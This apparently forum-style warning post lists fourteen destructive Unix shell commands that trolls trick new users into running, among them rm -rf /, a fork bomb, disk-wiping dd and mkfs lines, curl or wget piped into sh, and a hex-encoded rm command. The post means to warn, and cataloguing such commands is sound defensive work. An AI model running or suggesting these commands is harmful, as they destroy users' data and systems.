List of dangerous shell commands

You can contribute at the above link and this is for the purpose of my note.
It is not uncommon to see trolls tricking new Linux/Unix users run commands as a joke. These commands can destroy users data. Can you help me list such commands? For examples, I already collected the following commands:

 

1. rm -rf /
2. :(){ :|: & };:
3. mkfs /dev/sda1
4. cat /dev/zero > /dev/sda1
5. wget url -O – | sh —
6. curl url | sh
7. dd if=/dev/zero of=/dev/sda2
8. echo 726d202d7266202a | xxd -r -p
9. dd if=/dev/random of=/dev/port
10. echo 1 > /proc/sys/kernel/panic
11. cat /dev/port or cat /dev/mem
12. cat /dev/zero > /dev/mem
13. sudo chmod -r 444 / or sudo chown -r nobody:nobody /
14. last | reboot

 

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